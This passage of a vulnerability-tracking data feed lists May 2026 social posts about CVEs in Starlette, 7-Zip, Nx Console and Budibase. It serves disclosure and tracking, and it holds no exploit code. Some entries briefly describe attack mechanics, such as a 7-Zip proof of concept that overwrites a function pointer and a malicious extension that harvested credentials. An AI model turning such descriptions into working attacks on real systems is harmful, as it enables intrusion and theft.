"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48896", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:35.824498Z"}, {"uuid": "9f49be4c-05ab-48b2-8e88-14f1e7806f15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48897", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:35.972604Z"}, {"uuid": "19059e7f-3d8e-4ceb-9f86-c8aa0257099c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48898", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:36.151211Z"}, {"uuid": "8e01f960-d638-4e1b-b290-c8d3a48f7005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48761", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.692575Z"}, {"uuid": "85ff01c7-f163-4ef3-8bbc-d2a49b474bbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48784", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.840628Z"}, {"uuid": "80d58791-22ec-48c1-9755-62fec4e0df45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48172", "type": "seen", "source": "https://bsky.app/profile/earthnewstech.bsky.social/post/3mmtpg5il7o2k", "content": "LiteSpeed cPanel Plugin CVE-2026-48172 Exploited to Run Scripts as Root A maximum-severity security vulnerability impact...#news https://thehackernews.com/2026/05/litespeed-cpanel-plugin-cve-2026-48172.html", "creation_timestamp": "2026-05-27T14:22:43.531029Z"}, {"uuid": "4c545453-1826-44a9-ba1a-1124e1457ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48489", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.068108Z"}, {"uuid": "774d3dfb-41ae-4db1-b68d-078ef878fa6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.247810Z"}, {"uuid": "524fba81-8c5a-4340-951b-856ec43dda45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48747", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.384364Z"}, {"uuid": "55aef5d9-4734-4099-bb4f-53ecdbefaba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48760", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4e3x7q2h", "content": "\ud83d\udd17 CVE : CVE-2026-48489, CVE-2026-48736, CVE-2026-48747, CVE-2026-48760, CVE-2026-48761, CVE-2026-48784", "creation_timestamp": "2026-05-27T14:35:08.533971Z"}, {"uuid": "6ae009b9-e11b-40db-ba09-8cb35eeb2e61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48131", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:29.489041Z"}, {"uuid": "510f3608-912c-44fa-87d0-71cf78c5c2db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48132", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:29.643057Z"}, {"uuid": "a8c76052-738e-4fd8-87d2-db92bdd8b022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48134", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:29.978219Z"}, {"uuid": "133cfdfb-5f48-497b-a0fd-210c11024cb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48135", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:30.117654Z"}, {"uuid": "e23905fd-e127-46a4-b76b-0a52b416d73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48136", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq4yad4r2m", "content": "\ud83d\udd17 CVE : CVE-2026-48131, CVE-2026-48132, CVE-2026-48133, CVE-2026-48134, CVE-2026-48135, CVE-2026-48136", "creation_timestamp": "2026-05-27T14:35:30.269212Z"}, {"uuid": "433e339c-c216-4b08-b012-3fa4ecc9c727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48899", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:36.428729Z"}, {"uuid": "8aa88a6f-25b7-4a2d-9139-4cfac01e8187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48900", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:36.791006Z"}, {"uuid": "2f0e2d39-9bc1-4976-8a37-5117d8d0900b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48901", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:36.916754Z"}, {"uuid": "bc06b77f-efa8-4bb8-8f3e-d887816d054a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48902", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:37.054620Z"}, {"uuid": "f8c308d3-946f-4a46-91a4-b0e5fa7fc5d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48903", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:37.214635Z"}, {"uuid": "70b6fdf9-5483-4814-9e5e-7377c0a92a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48904", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:37.380442Z"}, {"uuid": "8295eea1-1c8d-40a1-8a4f-7c22150a85de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48905", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmtq56q4l22q", "content": "\ud83d\udd17 CVE : CVE-2026-48896, CVE-2026-48897, CVE-2026-48898, CVE-2026-48899, CVE-2026-48900, CVE-2026-48901, CVE-2026-48902, CVE-2026-48903, CVE-2026-48904, CVE-2026-48905", "creation_timestamp": "2026-05-27T14:35:37.802197Z"}, {"uuid": "828bf23e-80b8-4a49-ad41-136a025bedf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hn100.atproto.rocks/post/3mmtrk6jds322", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass\nhttps://badhost.org/\n\nhttps://news.ycombinator.com/item?id=48277107", "creation_timestamp": "2026-05-27T15:00:45.414936Z"}, {"uuid": "8ae23c8d-4de5-455e-a07e-5050785864b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48972", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmtrmcxtdz2r", "content": "\ud83d\udfe0 CVE-2026-48972 - High (7.5)\n\nImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclu...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48972/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T15:01:58.098943Z"}, {"uuid": "6f5d2984-d051-4c4e-9b6e-c140fb1f1fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/aiweekly.bsky.social/post/3mmtrrtn4r72y", "content": "\ud83d\udea8 2 AI alerts:\n\u2192 BNP Paribas Works With Mistral AI to Build European Cybersecurity Defense\u2026\n\u2192 CVE-2026-48710 'BadHost': Critical Starlette Auth-Bypass Imperils Millions of\u2026\n\nhttps://aiweekly.co/ai-news-today?utm_source=bluesky", "creation_timestamp": "2026-05-27T15:05:04.898492Z"}, {"uuid": "d64b5359-3739-4f9b-b96d-826682d62070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mmttla2wfj2u", "content": "A critical vulnerability, tracked as CVE-2026-48710 and named BadHost, affects Starlette, an open-source framework with 325 million weekly downloads. This flaw allows attackers to exploit servers running AI agents, compromising sensitive data and credentials. Affected versions are prior to 1.0.", "creation_timestamp": "2026-05-27T15:37:09.201648Z"}, {"uuid": "26a40bb7-24f1-43eb-9d67-ddce9bfcafd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://t.me/bdufstecru/3199", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 CInStream::GetCuSize() \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 NTFS \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u0430 7-Zip \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-07292\nCVE-2026-48095\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 26.01 \u0438 \u0432\u044b\u0448\u0435.", "creation_timestamp": "2026-05-27T14:29:42.000000Z"}, {"uuid": "16850951-99b3-4b79-82e9-9729bd10954e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/alexandreborges.bsky.social/post/3mmu2k2hve22g", "content": "GHSL-2026-140: Heap Buffer Write Overflow in 7-Zip (CVE-2026-48095):\n\nsecuritylab.github.com/advisories/G...\n\n#vulnerability #cybersecurity #informationsecurity #exploitation #cve", "creation_timestamp": "2026-05-27T17:43:40.215809Z"}, {"uuid": "16405ebc-482f-462b-aff8-df2c2f03b4ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/LLMs.activitypub.awakari.com.ap.brid.gy/post/3mmty7qy5kqh2", "content": "Attackers Can Exploit BadHost to Access Sensitive AI Agent Server Endpoints A newly disclosed critical vulnerability, tracked as CVE-2026-48710 and dubbed \u201cBadHost,\u201d is putting thousands of AI-...\n\n#AI #Cyber #Security #News #Vulnerability #cyber [\u2026] \n\n[Original post on cybersecuritynews.com]", "creation_timestamp": "2026-05-27T17:00:43.626114Z"}, {"uuid": "de0d8e53-9425-4f27-923a-c5e47a02e2fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48544", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmtydxa2kt2w", "content": "\ud83d\udfe0 CVE-2026-48544 - High (7.5)\n\nTaipy 4.1.1, fixed in commit 129fd40, contains a path traversal vulnerability in the ElementLibra...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48544/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T17:02:33.579575Z"}, {"uuid": "3ce02e0a-24c8-432f-8df7-a248956f52cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/securitylab.github.com/post/3mmtzhazu7s27", "content": "Proof of Concept for GHSL-2026-140 (CVE-2026-48095) in 7-Zip <= 26.00. A crafted archive shrinks a 256 MB buffer into 1 byte, overwrites a function pointer with file content, and redirects execution. Full weaponization needs an ASLR bypass. Fixed in 26.01. securitylab.github.com/advisories/G...", "creation_timestamp": "2026-05-27T17:22:18.619806Z"}, {"uuid": "e5f0ed66-8b63-4751-ba36-00557698c929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://infosec.exchange/users/alexandreborges/statuses/116647775241668235", "content": "GHSL-2026-140: Heap Buffer Write Overflow in 7-Zip (CVE-2026-48095):\nhttps://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/\n#vulnerability #cybersecurity #informationsecurity #exploitation #cve", "creation_timestamp": "2026-05-27T17:43:20.155002Z"}, {"uuid": "1fcf8dfe-5d6a-4d79-bfd4-a7e767eea191", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/23d94b6e-e10b-4ed3-9304-fbf1858a9ac5", "content": "", "creation_timestamp": "2026-05-27T18:00:02.229951Z"}, {"uuid": "1b8c7fe8-d62f-4b80-815a-94a3f2ce4d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mmu45p54pa2c", "content": "\ud83d\uded1 CVE-2026-48027\nNx Nx Console\nCVSS 9.3 / KEV\nTL;DR: Nx Console is the user interface for Nx & Lerna. On 19 May 2026, a malicious version of Nx Console, 18.95.0\u2026\nhttps://cvesentinel.com/report/CVE-2026-48027?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-05-27T18:10:41.545491Z"}, {"uuid": "8d2c611d-65dd-4130-9fa3-6cfdc73a4cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48149", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmu6x6poof2n", "content": "\ud83d\udfe0 CVE-2026-48149 - High (8.1)\n\nBudibase is an open-source low-code platform. Prior to 3.39.0, the Budibase Text component render...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48149/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T19:00:41.583517Z"}, {"uuid": "05de6646-216f-440b-8eb5-2df952a80073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48150", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmu6xgnpmn2g", "content": "\ud83d\udd34 CVE-2026-48150 - Critical (9)\n\nBudibase is an open-source low-code platform. Prior to 3.39.0, /api/public/v1/roles/assign is gua...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48150/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T19:00:49.763812Z"}, {"uuid": "3edbcd71-7f7f-468f-8f81-2e0c2dd897fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48151", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmu6xo2nd72w", "content": "\ud83d\udfe0 CVE-2026-48151 - High (7.5)\n\nBudibase is an open-source low-code platform. Prior to 3.39.0, the webhook schema-building endpoi...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48151/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T19:00:57.853480Z"}, {"uuid": "782797e0-d82b-4bf1-917e-566f3f530a4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48152", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmu6zccumf2t", "content": "\ud83d\udfe0 CVE-2026-48152 - High (8.1)\n\nBudibase is an open-source low-code platform. Prior to 3.39.0, the single-datasource GET and PUT ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48152/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T19:01:52.704159Z"}, {"uuid": "6016099d-a5f5-44dd-b98c-4877f6615368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48153", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmu6zk2b2p2w", "content": "\ud83d\udfe0 CVE-2026-48153 - High (8.5)\n\nBudibase is an open-source low-code platform. Prior to 3.39.0, fetchToken in the OAuth2 SDK makes...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48153/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-27T19:02:00.807109Z"}, {"uuid": "2d594745-8ea2-4456-85fc-b959da64566c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6591185", "content": "2026-05-27: [CVE-2026-48027] Nx Console Embedded Malicious Code VulnerabilityNx Console contains an embedded malicious code vulnerability that allowed a malicious version of Nx Console to be published. The compromised extension fetched an obfuscated payload that could harvested credentials from multiple sources on disk and in memory.\ncisakev", "creation_timestamp": "2026-05-27T19:09:46.684896Z"}, {"uuid": "863de294-d623-49e3-851e-660588a3e24c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48151", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmu7tb6enp2i", "content": "CVE-2026-48151 - Budibase: Webhook schema endpoint authorization bypass allows unauthenticated mutation of webhook and automation schema\nCVE ID : CVE-2026-48151\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platfor...", "creation_timestamp": "2026-05-27T19:16:22.884879Z"}, {"uuid": "29909c3e-a5b3-4c00-807a-9e1431e46632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48149", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmuafe64q72n", "content": "CVE-2026-48149 - Budibase: Stored XSS in Text component: BASIC users execute JS in admin session via MarkdownViewer innerHTML + CDN+srcdoc CSP bypass\nCVE ID : CVE-2026-48149\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low...", "creation_timestamp": "2026-05-27T19:26:29.931522Z"}, {"uuid": "0643131f-d66f-4604-97ac-c5ca1c0a7882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48148", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmuavyucc42o", "content": "CVE-2026-48148 - Budibase: Unvalidated VectorDB Host Parameter Enables SSRF\nCVE ID : CVE-2026-48148\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.35.3, the VectorDB configuration endpoint in Bu...", "creation_timestamp": "2026-05-27T19:35:48.369296Z"}, {"uuid": "b8cb8dd7-5637-4193-814d-66eedf7e0940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48146", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmub6xesu32c", "content": "CVE-2026-48146 - Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection\nCVE ID : CVE-2026-48146\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token...", "creation_timestamp": "2026-05-27T19:40:48.924943Z"}, {"uuid": "3f897a48-b2a6-481d-98aa-53d668026cf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48150", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmubhvu6d72c", "content": "CVE-2026-48150 - Budibase: Workspace-scoped builder escalates to global admin via /api/public/v1/roles/assign\nCVE ID : CVE-2026-48150\n \n Published : May 27, 2026, 6:16 p.m. | 15\u00a0minutes 